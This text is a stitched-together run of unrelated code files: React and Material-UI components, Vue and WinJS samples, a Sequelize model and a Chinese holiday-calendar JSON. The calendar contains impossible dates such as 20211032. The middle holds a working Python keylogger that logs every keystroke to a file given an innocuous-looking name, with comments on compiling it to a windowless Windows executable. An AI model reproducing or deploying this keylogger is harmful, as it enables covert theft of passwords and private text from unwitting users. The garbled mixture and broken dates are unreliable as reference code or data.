}, title:{ alignItems: 'center', justifyContent: 'center', color: 'pink', zIndex: 2, fontSize:40, position: 'absolute', textAlign: 'center', textAlignVertical: "center", top:'35%', left:'30%', // fontFamily:'insta-font' }, text:{ position: 'absolute', height: Dimensions.get('window').height, width: Dimensions.get('window').width, backgroundColor:'rgba(0,0,0,0.6)', }, slide:{ backgroundColor:'rgba(0,0,0,0.6)', }, image:{ resizeMode: 'contain', }, carousel:{ // borderRadius:10, }, storyEnd:{ width:100, height:100, backgroundColor:"gray" } } );
import _extends from "@babel/runtime/helpers/esm/extends"; import _objectWithoutPropertiesLoose from "@babel/runtime/helpers/esm/objectWithoutPropertiesLoose"; import * as React from 'react'; import PropTypes from 'prop-types'; import * as ReactDOM from 'react-dom'; import clsx from 'clsx'; import { elementTypeAcceptingRef, refType } from '@material-ui/utils'; import useForkRef from '../utils/useForkRef'; import useEventCallback from '../utils/useEventCallback'; import withStyles from '../styles/withStyles'; import useIsFocusVisible from '../utils/useIsFocusVisible'; import TouchRipple from './TouchRipple'; export const styles = { /* Styles applied to the root element. */ root: { display: 'inline-flex', alignItems: 'center', justifyContent: 'center', position: 'relative', WebkitTapHighlightColor: 'transparent', backgroundColor: 'transparent', // Reset default value // We disable the focus ring for mouse, touch and keyboard users. outline: 0, border: 0, margin: 0, // Remove the margin in Safari borderRadius: 0, padding: 0, // Remove the padding in Firefox cursor: 'pointer', userSelect: 'none', verticalAlign: 'middle', '-moz-appearance': 'none', // Reset '-webkit-appearance': 'none', // Reset textDecoration: 'none', // So we take precedent over the style of a native <a /> element. color: 'inherit', '&::-moz-focus-inner': { borderStyle: 'none' // Remove Firefox dotted outline. }, '&$disabled': { pointerEvents: 'none', // Disable link interactions cursor: 'default' }, '@media print': { colorAdjust: 'exact' } }, /* Pseudo-class applied to the root element if `disabled={true}`. */ disabled: {}, /* Pseudo-class applied to the root element if keyboard focused. */ focusVisible: {} }; /** * `ButtonBase` contains as few styles as possible. * It aims to be a simple building block for creating a button. * It contains a load of style reset and some focus/ripple logic. */ const ButtonBase = React.forwardRef(function ButtonBase(props, ref) { const { action, buttonRef: buttonRefProp, centerRipple = false, children, classes, className, component = 'button', disabled = false, disableRipple = false, disableTouchRipple = false, focusRipple = false, focusVisibleClassName, onBlur, onClick, onFocus, onFocusVisible, onKeyDown, onKeyUp, onMouseDown, onMouseLeave, onMouseUp, onTouchEnd, onTouchMove, onTouchStart, onDragLeave, tabIndex = 0, TouchRippleProps, type = 'button' } = props, other = _objectWithoutPropertiesLoose(props, ["action", "buttonRef", "centerRipple", "children", "classes", "className", "component", "disabled", "disableRipple", "disableTouchRipple", "focusRipple", "focusVisibleClassName", "onBlur", "onClick", "onFocus", "onFocusVisible", "onKeyDown", "onKeyUp", "onMouseDown", "onMouseLeave", "onMouseUp", "onTouchEnd", "onTouchMove", "onTouchStart", "onDragLeave", "tabIndex", "TouchRippleProps", "type"]); const buttonRef = React.useRef(null); function getButtonNode() { // #StrictMode ready return ReactDOM.findDOMNode(buttonRef.current); } const rippleRef = React.useRef(null); const [focusVisible, setFocusVisible] = React.useState(false); if (disabled && focusVisible) { setFocusVisible(false); } const { isFocusVisible, onBlurVisible, ref: focusVisibleRef } = useIsFocusVisible(); React.useImperativeHandle(action, () => ({ focusVisible: () => { setFocusVisible(true); buttonRef.current.focus(); } }), []); React.useEffect(() => { if (focusVisible && focusRipple && !disableRipple) { rippleRef.current.pulsate(); } }, [disableRipple, focusRipple, focusVisible]); function useRippleHandler(rippleAction, eventCallback, skipRippleAction = disableTouchRipple) { return useEventCallback(event => { if (eventCallback) { eventCallback(event); } const ignore = skipRippleAction; if (!ignore && rippleRef.current) { rippleRef.current[rippleAction](event); } return true; }); } const handleMouseDown = useRippleHandler('start', onMouseDown); const handleDragLeave = useRippleHandler('stop', onDragLeave); const handleMouseUp = useRippleHandler('stop', onMouseUp); const handleMouseLeave = useRippleHandler('stop', event => { if (focusVisible) { event.preventDefault(); } if (onMouseLeave) { onMouseLeave(event); } }); const handleTouchStart = useRippleHandler('start', onTouchStart); const handleTouchEnd = useRippleHandler('stop', onTouchEnd); const handleTouchMove = useRippleHandler('stop', onTouchMove); const handleBlur = useRippleHandler('stop', event => { if (focusVisible) { onBlurVisible(event); setFocusVisible(false); } if (onBlur) { onBlur(event); } }, false); const handleFocus = useEventCallback(event => { // Fix for https://github.com/facebook/react/issues/7769 if (!buttonRef.current) { buttonRef.current = event.currentTarget; } if (isFocusVisible(event)) { setFocusVisible(true); if (onFocusVisible) { onFocusVisible(event); } } if (onFocus) { onFocus(event); } }); const isNonNativeButton = () => { const button = getButtonNode(); return component && component !== 'button' && !(button.tagName === 'A' && button.href); }; /** * IE 11 shim for https://developer.mozilla.org/en-US/docs/Web/API/KeyboardEvent/repeat */ const keydownRef = React.useRef(false); const handleKeyDown = useEventCallback(event => { // Check if key is already down to avoid repeats being counted as multiple activations if (focusRipple && !keydownRef.current && focusVisible && rippleRef.current && event.key === ' ') { keydownRef.current = true; event.persist(); rippleRef.current.stop(event, () => { rippleRef.current.start(event); }); } if (event.target === event.currentTarget && isNonNativeButton() && event.key === ' ') { event.preventDefault(); } if (onKeyDown) { onKeyDown(event); } // Keyboard accessibility for non interactive elements if (event.target === event.currentTarget && isNonNativeButton() && event.key === 'Enter' && !disabled) { event.preventDefault(); if (onClick) { onClick(event); } } }); const handleKeyUp = useEventCallback(event => { // calling preventDefault in keyUp on a <button> will not dispatch a click event if Space is pressed // https://codesandbox.io/s/button-keyup-preventdefault-dn7f0 if (focusRipple && event.key === ' ' && rippleRef.current && focusVisible && !event.defaultPrevented) { keydownRef.current = false; event.persist(); rippleRef.current.stop(event, () => { rippleRef.current.pulsate(event); }); } if (onKeyUp) { onKeyUp(event); } // Keyboard accessibility for non interactive elements if (onClick && event.target === event.currentTarget && isNonNativeButton() && event.key === ' ' && !event.defaultPrevented) { onClick(event); } }); let ComponentProp = component; if (ComponentProp === 'button' && other.href) { ComponentProp = 'a'; } const buttonProps = {}; if (ComponentProp === 'button') { buttonProps.type = type; buttonProps.disabled = disabled; } else { if (ComponentProp !== 'a' || !other.href) { buttonProps.role = 'button'; } buttonProps['aria-disabled'] = disabled; } const handleUserRef = useForkRef(buttonRefProp, ref); const handleOwnRef = useForkRef(focusVisibleRef, buttonRef); const handleRef = useForkRef(handleUserRef, handleOwnRef); const [mountedState, setMountedState] = React.useState(false); React.useEffect(() => { setMountedState(true); }, []); const enableTouchRipple = mountedState && !disableRipple && !disabled; if (process.env.NODE_ENV !== 'production') { // eslint-disable-next-line react-hooks/rules-of-hooks React.useEffect(() => { if (enableTouchRipple && !rippleRef.current) { console.error(['Material-UI: the `component` prop provided to ButtonBase is invalid.', 'Please make sure the children prop is rendered in this custom component.'].join('\n')); } }, [enableTouchRipple]); } return /*#__PURE__*/React.createElement(ComponentProp, _extends({ className: clsx(classes.root, className, focusVisible && [classes.focusVisible, focusVisibleClassName], disabled && classes.disabled), onBlur: handleBlur, onClick: onClick, onFocus: handleFocus, onKeyDown: handleKeyDown, onKeyUp: handleKeyUp, onMouseDown: handleMouseDown, onMouseLeave: handleMouseLeave, onMouseUp: handleMouseUp, onDragLeave: handleDragLeave, onTouchEnd: handleTouchEnd, onTouchMove: handleTouchMove, onTouchStart: handleTouchStart, ref: handleRef, tabIndex: disabled ? -1 : tabIndex }, buttonProps, other), children, enableTouchRipple ? /*#__PURE__*/ /* TouchRipple is only needed client-side, x2 boost on the server. */ React.createElement(TouchRipple, _extends({ ref: rippleRef, center: centerRipple }, TouchRippleProps)) : null); }); process.env.NODE_ENV !== "production" ? ButtonBase.propTypes = { /** * A ref for imperative actions. * It currently only supports `focusVisible()` action. */ action: refType, /** * @ignore * * Use that prop to pass a ref to the native button component. * @deprecated Use `ref` instead. */ buttonRef: refType, /** * If `true`, the ripples will be centered. * They won't start at the cursor interaction position. */ centerRipple: PropTypes.bool, /** * The content of the component. */ children: PropTypes.node, /** * Override or extend the styles applied to the component. * See [CSS API](#css) below for more details. */ classes: PropTypes.object.isRequired, /** * @ignore */ className: PropTypes.string, /** * The component used for the root node. * Either a string to use a HTML element or a component. */ component: elementTypeAcceptingRef, /** * If `true`, the base button will be disabled. */ disabled: PropTypes.bool, /** * If `true`, the ripple effect will be disabled. * * ⚠️ Without a ripple there is no styling for :focus-visible by default. Be sure * to highlight the element by applying separate styles with the `focusVisibleClassName`. */ disableRipple: PropTypes.bool, /** * If `true`, the touch ripple effect will be disabled. */ disableTouchRipple: PropTypes.bool, /** * If `true`, the base button will have a keyboard focus ripple. * `disableRipple` must also be `false`. */ focusRipple: PropTypes.bool, /** * This prop can help a person know which element has the keyboard focus. * The class name will be applied when the element gain the focus through a keyboard interaction. * It's a polyfill for the [CSS :focus-visible selector](https://drafts.csswg.org/selectors-4/#the-focus-visible-pseudo). * The rationale for using this feature [is explained here](https://github.com/WICG/focus-visible/blob/master/explainer.md). * A [polyfill can be used](https://github.com/WICG/focus-visible) to apply a `focus-visible` class to other components * if needed. */ focusVisibleClassName: PropTypes.string, /** * @ignore */ onBlur: PropTypes.func, /** * @ignore */ onClick: PropTypes.func, /** * @ignore */ onDragLeave: PropTypes.func, /** * @ignore */ onFocus: PropTypes.func, /** * Callback fired when the component is focused with a keyboard. * We trigger a `onFocus` callback too. */ onFocusVisible: PropTypes.func, /** * @ignore */ onKeyDown: PropTypes.func, /** * @ignore */ onKeyUp: PropTypes.func, /** * @ignore */ onMouseDown: PropTypes.func, /** * @ignore */ onMouseLeave: PropTypes.func, /** * @ignore */ onMouseUp: PropTypes.func, /** * @ignore */ onTouchEnd: PropTypes.func, /** * @ignore */ onTouchMove: PropTypes.func, /** * @ignore */ onTouchStart: PropTypes.func, /** * @ignore */ role: PropTypes.string, /** * @ignore */ tabIndex: PropTypes.oneOfType([PropTypes.number, PropTypes.string]), /** * Props applied to the `TouchRipple` element. */ TouchRippleProps: PropTypes.object, /** * Used to control the button's purpose. * This prop passes the value to the `type` attribute of the native button component. */ type: PropTypes.oneOf(['submit', 'reset', 'button']) } : void 0; export default withStyles(styles, { name: 'MuiButtonBase' })(ButtonBase);
'use strict'; var util$940 = require('../../../misc/util.js'); var TestNg$942 = function (upper$946, obj$947) { this.upper = upper$946; this.obj = obj$947; }; TestNg$942.prototype.up = function () { return this.upper; }; TestNg$942.prototype.and = TestNg$942.prototype.up; module.exports = TestNg$942; TestNg$942.prototype[util$940.camelize('pattern')] = function (value$948) { return util$940.primitiveAccessor.apply(this, [ 'pattern', value$948 ]); }; TestNg$942.prototype[util$940.camelize('escape-test-description')] = function (value$949) { return util$940.primitiveAccessor.apply(this, [ 'escape-test-description', value$949 ]); }; TestNg$942.prototype[util$940.camelize('escape-exception-msg')] = function (value$950) { return util$940.primitiveAccessor.apply(this, [ 'escape-exception-msg', value$950 ]); };
export default [ { "UID": "87347106-1abd-75c0-75c5-e7cf5a64b1db", "name": "非工作日·休", "class": "PUBLIC", "start": "20210516", "end": "20210517", "time": "20210531T060623Z" }, { "UID": "bbc43828-6da1-653e-2b48-f1a6ce4f7c50", "name": "非工作日·休", "class": "PUBLIC", "start": "20210522", "end": "20210524", "time": "20210531T060623Z" }, { "UID": "276f69bb-9702-5a0d-4819-96e40807f690", "name": "非工作日·休", "class": "PUBLIC", "start": "20210530", "end": "20210531", "time": "20210531T060623Z" }, { "UID": "3e97031b-537b-e560-2c44-06fd056517e6", "name": "非工作日·休", "class": "PUBLIC", "start": "20210605", "end": "20210607", "time": "20210531T060623Z" }, { "UID": "c6725bfa-0b8b-24db-a997-8cf14da01ed1", "name": "端午节·休", "class": "PUBLIC", "start": "20210612", "end": "20210615", "time": "20210531T061004Z" }, { "UID": "a6276a95-5ae6-0081-98ca-c003b6c46c9e", "name": "非工作日·休", "class": "PUBLIC", "start": "20210620", "end": "20210621", "time": "20210531T060623Z" }, { "UID": "bfffb773-9883-20df-6b87-2010956e0b02", "name": "非工作日·休", "class": "PUBLIC", "start": "20210626", "end": "20210628", "time": "20210531T060623Z" }, { "UID": "7a68fef6-bef8-4fb3-5473-f800e0f71675", "name": "非工作日·休", "class": "PUBLIC", "start": "20210704", "end": "20210705", "time": "20210531T060623Z" }, { "UID": "c5f67152-823d-2aeb-9e4f-8764ff7642c4", "name": "非工作日·休", "class": "PUBLIC", "start": "20210710", "end": "20210712", "time": "20210531T060623Z" }, { "UID": "8d44ef26-6d6e-bab7-d755-210c69310b00", "name": "非工作日·休", "class": "PUBLIC", "start": "20210718", "end": "20210719", "time": "20210531T060623Z" }, { "UID": "d1122e90-d667-bf1f-f6e6-d61ba548b21f", "name": "非工作日·休", "class": "PUBLIC", "start": "20210724", "end": "20210726", "time": "20210531T060623Z" }, { "UID": "dee1eb89-3f84-e153-6fd7-b51e39904c15", "name": "非工作日·休", "class": "PUBLIC", "start": "20210801", "end": "20210802", "time": "20210531T060623Z" }, { "UID": "a594a468-9efb-614e-65f7-929164b1f870", "name": "非工作日·休", "class": "PUBLIC", "start": "20210807", "end": "20210809", "time": "20210531T060623Z" }, { "UID": "d9d29b07-8bb0-041f-0894-894c714c6543", "name": "非工作日·休", "class": "PUBLIC", "start": "20210815", "end": "20210816", "time": "20210531T060623Z" }, { "UID": "347cbcc0-f838-e469-244d-fd4e3b9d6f8c", "name": "非工作日·休", "class": "PUBLIC", "start": "20210821", "end": "20210823", "time": "20210531T060623Z" }, { "UID": "96daae31-3e74-5c38-2a03-101508508b96", "name": "非工作日·休", "class": "PUBLIC", "start": "20210829", "end": "20210830", "time": "20210531T060623Z" }, { "UID": "af8e5d83-15cb-67eb-2f6b-f15931d579f5", "name": "非工作日·休", "class": "PUBLIC", "start": "20210904", "end": "20210906", "time": "20210531T060623Z" }, { "UID": "32bccd7e-a48e-c133-795e-8607bcb8b15a", "name": "非工作日·休", "class": "PUBLIC", "start": "20210912", "end": "20210913", "time": "20210531T060623Z" }, { "UID": "698ff0fc-f45f-ed9d-f501-11124f18e44b", "name": "中秋节·休", "class": "PUBLIC", "start": "20210919", "end": "20210922", "time": "20210531T061004Z" }, { "UID": "379ccdc8-6b20-1b9d-2476-8336d29c5872", "name": "国庆节·休", "class": "PUBLIC", "start": "20211001", "end": "20211008", "time": "20210531T061004Z" }, { "UID": "d63a079b-31ae-35eb-dfd2-c3837041f96a", "name": "非工作日·休", "class": "PUBLIC", "start": "20211010", "end": "20211011", "time": "20210531T060623Z" }, { "UID": "e2f80ab8-e90c-74c7-3c8c-1fc2227a2c98", "name": "非工作日·休", "class": "PUBLIC", "start": "20211017", "end": "20211018", "time": "20210531T060623Z" }, { "UID": "01d24af4-a07b-c790-eaa9-0302a690911f", "name": "非工作日·休", "class": "PUBLIC", "start": "20211023", "end": "20211025", "time": "20210531T060623Z" }, { "UID": "c599ac14-d135-8ace-f322-c56554f5f220", "name": "非工作日·休", "class": "PUBLIC", "start": "20211031", "end": "20211032", "time": "20210531T060623Z" }, { "UID": "ab647e73-8a01-8f73-ac71-99d71aaad35e", "name": "非工作日·休", "class": "PUBLIC", "start": "20211106", "end": "20211108", "time": "20210531T060623Z" }, { "UID": "c9c284da-a333-29f4-2173-5d7669de2bda", "name": "非工作日·休", "class": "PUBLIC", "start": "20211114", "end": "20211115", "time": "20210531T060623Z" }, { "UID": "ee89e62a-3500-520b-d2ce-0b6e61f85630", "name": "非工作日·休", "class": "PUBLIC", "start": "20211120", "end": "20211122", "time": "20210531T060623Z" }, { "UID": "48e3806e-c8d5-7b04-dc08-2e35fd2bf279", "name": "非工作日·休", "class": "PUBLIC", "start": "20211128", "end": "20211129", "time": "20210531T060623Z" }, { "UID": "ac844430-164a-acac-56df-bb8c2bc6f339", "name": "非工作日·休", "class": "PUBLIC", "start": "20211204", "end": "20211206", "time": "20210531T060623Z" }, { "UID": "22298b55-1052-c408-0f0b-89daabb09b58", "name": "非工作日·休", "class": "PUBLIC", "start": "20211212", "end": "20211213", "time": "20210531T060623Z" }, { "UID": "d89607dc-0b96-639f-2bbe-fe07bcceafa1", "name": "非工作日·休", "class": "PUBLIC", "start": "20211218", "end": "20211220", "time": "20210531T060623Z" }, { "UID": "e469e2ba-2231-49f0-923f-bbc6b965a81e", "name": "非工作日·休", "class": "PUBLIC", "start": "20211226", "end": "20211227", "time": "20211213T032449Z" }, { "UID": "fc7fc261-ad51-c483-b2fd-1b72e2d3e127", "name": "元旦·休", "class": "PUBLIC", "start": "20220101", "end": "20220104", "time": "20220107T020720Z" }, { "UID": "6addd044-15ee-8644-a956-9f86a23c5469", "name": "非工作日·休", "class": "PUBLIC", "start": "20220108", "end": "20220110", "time": "20220107T020720Z" }, { "UID": "b1789536-37a5-6b53-b975-4930d70af7ab", "name": "非工作日·休", "class": "PUBLIC", "start": "20220115", "end": "20220117", "time": "20220107T020720Z" }, { "UID": "45b8e8bd-2def-c2ef-6daf-0a41b6b18910", "name": "非工作日·休", "class": "PUBLIC", "start": "20220122", "end": "20220124", "time": "20220107T020720Z" }, { "UID": "ca3a415e-59f9-8763-32de-10f06bc1352c", "name": "春节·休", "class": "PUBLIC", "start": "20220131", "end": "20220207", "time": "20220107T020720Z" }, { "UID": "30b900ea-ffb8-198e-4938-749b71595431", "name": "非工作日·休", "class": "PUBLIC", "start": "20220212", "end": "20220214", "time": "20220107T020720Z" }, { "UID": "805b3ca8-e6fd-2bcd-1a5a-d152253a5db1", "name": "非工作日·休", "class": "PUBLIC", "start": "20220219", "end": "20220221", "time": "20220107T020720Z" }, { "UID": "6b76badb-edac-479b-3bde-0fad536d35fe", "name": "非工作日·休", "class": "PUBLIC", "start": "20220226", "end": "20220228", "time": "20220107T020720Z" }, { "UID": "40afa232-dab7-c9b4-5945-a9732db3ff79", "name": "非工作日·休", "class": "PUBLIC", "start": "20220305", "end": "20220307", "time": "20220107T020720Z" }, { "UID": "a2244c7e-cc1d-7fd3-af45-2f71c98c521b", "name": "非工作日·休", "class": "PUBLIC", "start": "20220312", "end": "20220314", "time": "20220107T020720Z" }, { "UID": "26760dc3-0793-3180-6efd-7032feaf8a5b", "name": "非工作日·休", "class": "PUBLIC", "start": "20220319", "end": "20220321", "time": "20220107T020720Z" }, { "UID": "124ded96-388a-5cf5-9555-0beba9f95787", "name": "非工作日·休", "class": "PUBLIC", "start": "20220326", "end": "20220328", "time": "20220107T020720Z" }, { "UID": "1f38c889-9075-eec5-88e5-a8ddaa001927", "name": "清明节·休", "class": "PUBLIC", "start": "20220403", "end": "20220406", "time": "20220107T020720Z" }, { "UID": "5ea009fc-cb1c-de8d-7228-c14086d33f9e", "name": "非工作日·休", "class": "PUBLIC", "start": "20220409", "end": "20220411", "time": "20220107T020720Z" }, { "UID": "65046171-d8aa-82b2-7ca0-776d67975e62", "name": "非工作日·休", "class": "PUBLIC", "start": "20220416", "end": "20220418", "time": "20220107T020720Z" }, { "UID": "bebd6b4b-33a3-f730-197f-2be4a51f6a07", "name": "非工作日·休", "class": "PUBLIC", "start": "20220423", "end": "20220424", "time": "20220107T020720Z" }, { "UID": "40ad1917-9f49-8e6a-6e46-ef56a584acb6", "name": "劳动节·休", "class": "PUBLIC", "start": "20220430", "end": "20220505", "time": "20220107T020720Z" }, { "UID": "0ad44236-71aa-359f-960c-d0db84d7442a", "name": "非工作日·休", "class": "PUBLIC", "start": "20220508", "end": "20220509", "time": "20220107T020720Z" }, { "UID": "3c7cbc42-901c-d456-f10f-3730336fb533", "name": "非工作日·休", "class": "PUBLIC", "start": "20220514", "end": "20220516", "time": "20220107T020720Z" }, { "UID": "a5096f85-3b44-c19a-d143-34a18ef6a36f", "name": "非工作日·休", "class": "PUBLIC", "start": "20220521", "end": "20220523", "time": "20220107T020720Z" }, { "UID": "d1584bc9-f0ba-4d1f-5251-6ff7658004e4", "name": "非工作日·休", "class": "PUBLIC", "start": "20220528", "end": "20220530", "time": "20220107T020720Z" }, { "UID": "26efc13e-b4b5-c277-3318-f1d2d4b42e29", "name": "端午节·休", "class": "PUBLIC", "start": "20220603", "end": "20220606", "time": "20220107T020720Z" }, { "UID": "bea315bb-e60f-f3e3-ace8-6e10f3e7f914", "name": "非工作日·休", "class": "PUBLIC", "start": "20220611", "end": "20220613", "time": "20220107T020720Z" }, { "UID": "f4c12b98-bad2-d83a-9294-93ae92c0e91b", "name": "非工作日·休", "class": "PUBLIC", "start": "20220618", "end": "20220620", "time": "20220107T020720Z" }, { "UID": "312fdd9f-6b0d-2ee0-da62-407ef601eaf5", "name": "非工作日·休", "class": "PUBLIC", "start": "20220625", "end": "20220627", "time": "20220107T020720Z" }, { "UID": "6a02f133-2ac0-f691-458e-a07532cea567", "name": "非工作日·休", "class": "PUBLIC", "start": "20220702", "end": "20220704", "time": "20220107T020720Z" }, { "UID": "c284899b-73d4-93bd-fd8b-94b4cf9994a9", "name": "非工作日·休", "class": "PUBLIC", "start": "20220709", "end": "20220711", "time": "20220107T020720Z" }, { "UID": "15322bd9-bee9-e76e-cf45-6aa60adc6c88", "name": "非工作日·休", "class": "PUBLIC", "start": "20220716", "end": "20220718", "time": "20220107T020720Z" }, { "UID": "8db50596-afeb-efe5-6d0a-7c4c48320259", "name": "非工作日·休", "class": "PUBLIC", "start": "20220723", "end": "20220725", "time": "20220107T020720Z" }, { "UID": "075d085a-11a8-98d4-90f7-21ad0d5ba2ac", "name": "非工作日·休", "class": "PUBLIC", "start": "20220730", "end": "20220732", "time": "20220107T020720Z" }, { "UID": "cc94fdeb-5daf-dd51-35dc-efe699d4e1d7", "name": "非工作日·休", "class": "PUBLIC", "start": "20220806", "end": "20220808", "time": "20220107T020720Z" }, { "UID": "29962ef0-cb6b-ccaa-1d64-709752ece3c0", "name": "非工作日·休", "class": "PUBLIC", "start": "20220813", "end": "20220815", "time": "20220107T020720Z" }, { "UID": "51947133-ca46-fb9c-19f5-19d1ab8384de", "name": "非工作日·休", "class": "PUBLIC", "start": "20220820", "end": "20220822", "time": "20220107T020720Z" }, { "UID": "09e5a4af-afcd-e0bf-5c62-e8baaebaa6da", "name": "非工作日·休", "class": "PUBLIC", "start": "20220827", "end": "20220829", "time": "20220107T020720Z" }, { "UID": "a571d17e-6668-fed7-99a8-4e09b118308b", "name": "非工作日·休", "class": "PUBLIC", "start": "20220903", "end": "20220905", "time": "20220107T020720Z" }, { "UID": "a0444983-68f4-1457-41fe-db3b57784bb4", "name": "中秋节·休", "class": "PUBLIC", "start": "20220910", "end": "20220913", "time": "20220107T020720Z" }, { "UID": "bd97c965-567f-bd8a-473a-e3e5c236dc92", "name": "非工作日·休", "class": "PUBLIC", "start": "20220917", "end": "20220919", "time": "20220107T020720Z" }, { "UID": "385f2413-0d8a-6bed-b6a8-6ea2f49014e4", "name": "非工作日·休", "class": "PUBLIC", "start": "20220924", "end": "20220926", "time": "20220107T020720Z" }, { "UID": "44219529-a1ee-605f-3987-8ee28d822aab", "name": "国庆节·休", "class": "PUBLIC", "start": "20221001", "end": "20221008", "time": "20220107T020720Z" }, { "UID": "2e198d69-679d-2c81-230f-5de01669efc1", "name": "非工作日·休", "class": "PUBLIC", "start": "20221015", "end": "20221017", "time": "20220107T020720Z" }, { "UID": "7689a32d-5073-9aeb-20ce-1bb9ac51aa5b", "name": "非工作日·休", "class": "PUBLIC", "start": "20221022", "end": "20221024", "time": "20220107T020720Z" }, { "UID": "db533756-4c8a-c1fb-77cc-a36983bc7e6c", "name": "非工作日·休", "class": "PUBLIC", "start": "20221029", "end": "20221031", "time": "20220107T020720Z" }, { "UID": "74d821ff-5036-807b-7013-64b190776d3f", "name": "非工作日·休", "class": "PUBLIC", "start": "20221105", "end": "20221107", "time": "20220107T020720Z" }, { "UID": "69b3364b-02f3-b830-49f6-56992b9bf027", "name": "非工作日·休", "class": "PUBLIC", "start": "20221112", "end": "20221114", "time": "20220107T020720Z" }, { "UID": "7d2ede02-d827-ac61-0215-63f92675b842", "name": "非工作日·休", "class": "PUBLIC", "start": "20221119", "end": "20221121", "time": "20220107T020720Z" }, { "UID": "860d3693-100b-57a4-7e6f-cadebbcc94ae", "name": "非工作日·休", "class": "PUBLIC", "start": "20221126", "end": "20221128", "time": "20220107T020720Z" }, { "UID": "0377c98b-f760-7339-96e6-bc9c9a978a4e", "name": "非工作日·休", "class": "PUBLIC", "start": "20221203", "end": "20221205", "time": "20220107T020720Z" }, { "UID": "278d4efe-41fb-16b3-d5fa-20e9df74a9b4", "name": "非工作日·休", "class": "PUBLIC", "start": "20221210", "end": "20221212", "time": "20220107T020720Z" }, { "UID": "bbbf8f28-c2e1-c243-abe9-51e80151b7da", "name": "非工作日·休", "class": "PUBLIC", "start": "20221217", "end": "20221219", "time": "20220107T020720Z" }, { "UID": "0d3f0551-ae9a-33d8-6f1d-b401c82ba5af", "name": "非工作日·休", "class": "PUBLIC", "start": "20221224", "end": "20221226", "time": "20220107T020720Z" } ]
import os from pynput.keyboard import Listener keys = [] count = 0 # path = os.environ['appdata'] + '\\processmanager.txt' on Windows # Compiling to .exe in windows: pyinstaller keylogger.py --onefile --noconsole path = 'processmanager.txt' #linux, choose file name wisely # Getting keystrokes def on_press(key): global keys, count keys.append(key) count += 1 if count >= 1: count = 0 write_file(keys) keys = [] # Writing file def write_file(keys): with open(path, 'a') as f: for key in keys: k = str(key).replace("'", "") if k.find('backspace') > 0: f.write(' Backspace ') elif k.find('enter') > 0: f.write('\n') elif k.find('shift') > 0: f.write(' Shift ') elif k.find('space') > 0: f.write(' ') elif k.find('caps_lock') > 0: f.write(' caps_lock ') elif k.find('Key'): f.write(k) with Listener(on_press=on_press) as listener: listener.join()
Vue.component('home', { template: '#home-template' }) Vue.component('about', { template: '#about-template' }) Vue.component('works', { template: '#works-template' }) Vue.component('contact', { template: '#contact-template' }) const vm = new Vue({ el: '#app', data: { currentView: 'contact' } })
//// Copyright (c) Microsoft Corporation. All rights reserved (function () { "use strict"; var page = WinJS.UI.Pages.define("/html/3-UseVerticalLayout.html", { init: function (element, options) { var categoryNames = ["Picks for you", "Popular", "New Releases", "Top Paid", "Top Free", "Games", "Social", "Entertainment", "Photo", "Music & Video", "Sports", "Books & Reference", "News & Weather", "Health & Fitness", "Food & Dining", "Lifestyle", "Shopping", "Travel", "Finance", "Productivity", "Tools", "Security", "Business", "Education", "Government"]; var categoryItems = []; for (var i = 0; i < categoryNames.length; i++) { categoryItems[i] = { label: categoryNames[i] }; } Data.categoryList = new WinJS.Binding.List(categoryItems); }, ready: function (element, options) { // The NavBar instantiates its children on the WinJS scheduler as an idle job to help // startup and navigation performance. Once the NavBar has instantiated its children // we can set the layout. document.querySelector('#useVerticalLayout').addEventListener('childrenprocessed', changeLayout); window.addEventListener('resize', changeLayout); document.body.querySelector('#useVerticalLayout').addEventListener('invoked', this.navbarInvoked.bind(this)); document.getElementById("switchWidth").addEventListener("click", switchWidth, false); }, navbarInvoked: function (ev) { var navbarCommand = ev.detail.navbarCommand; WinJS.log && WinJS.log(navbarCommand.label + " NavBarCommand invoked", "sample", "status"); document.querySelector('select').focus(); }, unload: function () { window.removeEventListener('resize', changeLayout); } }); function changeLayout() { // First check to make sure that the NavBar instantiated the NavBarContainer since it loads it asynchronously. var globalNavBarContainer = document.body.querySelector('#useVerticalLayout .globalNav').winControl; if (globalNavBarContainer) { var orientation = window.innerWidth > 500 ? "horizontal" : "vertical"; var categoryNavBarContainer = document.body.querySelector('#useVerticalLayout .categoryNav').winControl; if (globalNavBarContainer.layout !== orientation) { globalNavBarContainer.layout = orientation; } if (categoryNavBarContainer.layout !== orientation) { categoryNavBarContainer.layout = orientation; } } } function switchWidth() { var globalNavBarContainer = document.body.querySelector('#useVerticalLayout .globalNav').winControl; var categoryNavBarContainer = document.body.querySelector('#useVerticalLayout .categoryNav').winControl; if ((globalNavBarContainer.fixedSize === false) && (categoryNavBarContainer.fixedSize === false)) { globalNavBarContainer.fixedSize = true; categoryNavBarContainer.fixedSize = true; document.getElementById("switchWidth").innerText = "Switch to dynamic width"; } else { globalNavBarContainer.fixedSize = false; categoryNavBarContainer.fixedSize = false; document.getElementById("switchWidth").innerText = "Switch to fixed width"; } } })();
const Sequelize = require('sequelize'); const db = require('../config/database') //creating an order model to store order history for each user in database const order = db.define('order', { // attributes orderId: { type: Sequelize.INTEGER, allowNull: false, primaryKey: true, autoIncrement: true }, userId: { type: Sequelize.INTEGER, allowNull: false, references: { model: 'user', // refers to 'user' table key: 'userId', // refers to column name in user table } }, mealId: { type: Sequelize.INTEGER, allowNull: false, references: { model: 'meal', // refers to 'meal' table key: 'mealId', // refers to mealdId column } }, }, { // options }); module.exports = order;
import React from 'react'; import PropTypes from 'prop-types'; import { getWobjectsExpertise } from '../../waivioApi/ApiClient'; import UserDynamicList from '../user/UserDynamicList'; export default class WobjExpertise extends React.Component { static propTypes = { match: PropTypes.shape().isRequired, }; static limit = 30; state = { sort: 'rank', }; handleChange = sort => { this.setState({ sort, }); return Promise.resolve(); }; fetcher = (skip, user) => { const { match } = this.props; return new Promise(async resolve => { const data = await getWobjectsExpertise( user, match.params.name, skip.length, WobjExpertise.limit, this.state.sort, ); resolve({ users: data.users, hasMore: data.users.length === WobjExpertise.limit }); }); }; render() { return ( <UserDynamicList limit={WobjExpertise.limit} fetcher={this.fetcher} sort={this.state.sort} handleChange={this.handleChange} /> ); } }
